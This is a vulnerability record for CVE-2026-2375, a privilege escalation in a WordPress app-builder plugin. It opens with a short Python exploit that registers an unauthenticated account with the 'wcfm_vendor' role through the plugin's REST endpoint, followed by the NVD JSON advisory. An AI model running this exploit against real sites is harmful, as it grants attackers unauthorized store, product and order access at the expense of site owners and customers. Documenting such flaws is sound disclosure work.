CVE-2026-2375

import requests # Target URL (Replace with actual vulnerable site) target_url = "http://example.com/wp-json/app-builder/v1/register" # Exploit payload to register as a vendor payload = { "username": "attacker_vendor", "email": "[email protected]", "password": "StrongPassword123!", "role": "wcfm_vendor" # Vulnerable parameter bypassing approval } try: # Sending the registration request response = requests.post(target_url, data=payload) if response.status_code == 200 or response.status_code == 201: print("[+] Exploit successful! Vendor account created.") print("[+] Response:", response.text) else: print("[-] Exploit failed. Status code:", response.status_code) print("[-] Response:", response.text) except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-2375", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:16:58.727", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The App Builder – Create Native Android & iOS Apps On The Flight plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 5.5.10. This is due to the `verify_role()` function in `AuthTrails.php` explicitly whitelisting the `wcfm_vendor` role alongside `subscriber` and `customer`, and assigning it directly via `wp_insert_user()` without integrating with WCFM Marketplace's vendor approval workflow. This makes it possible for unauthenticated attackers to register an account with the `wcfm_vendor` role by supplying the `role` parameter in the `/wp-json/app-builder/v1/register` REST API endpoint, bypassing the standard WCFM vendor approval process and immediately gaining vendor-level privileges (product management, order access, store management) on sites where WCFM Marketplace is active."}, {"lang": "es", "value": "El plugin App Builder – Create Native Android & iOS Apps On The Flight para WordPress es vulnerable a la escalada de privilegios en todas las versiones hasta la 5.5.10, inclusive. Esto se debe a que la función 'verify_role()' en 'AuthTrails.php' incluye explícitamente el rol 'wcfm_vendor' junto con 'subscriber' y 'customer' en una lista blanca, y lo asigna directamente a través de 'wp_insert_user()' sin integrarse con el flujo de trabajo de aprobación de proveedores de WCFM Marketplace. Esto permite a atacantes no autenticados registrar una cuenta con el rol 'wcfm_vendor' al proporcionar el parámetro 'role' en el endpoint de la API REST '/wp-json/app-builder/v1/register', eludiendo el proceso estándar de aprobación de proveedores de WCFM y obteniendo inmediatamente privilegios de nivel de proveedor (gestión de productos, acceso a pedidos, gestión de la tienda) en sitios donde WCFM Marketplace está activo."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/app-builder/tags/5.5.10/includes/Di/Service/Auth/AuthTrails.php#L80", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/app-builder/tags/5.5.10/includes/Di/Service/Auth/RegisterAuth.php#L108", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0a4521af-692a-4a84-ba9b-1904a42786c1?source=cve", "source": "[email protected]"}]}}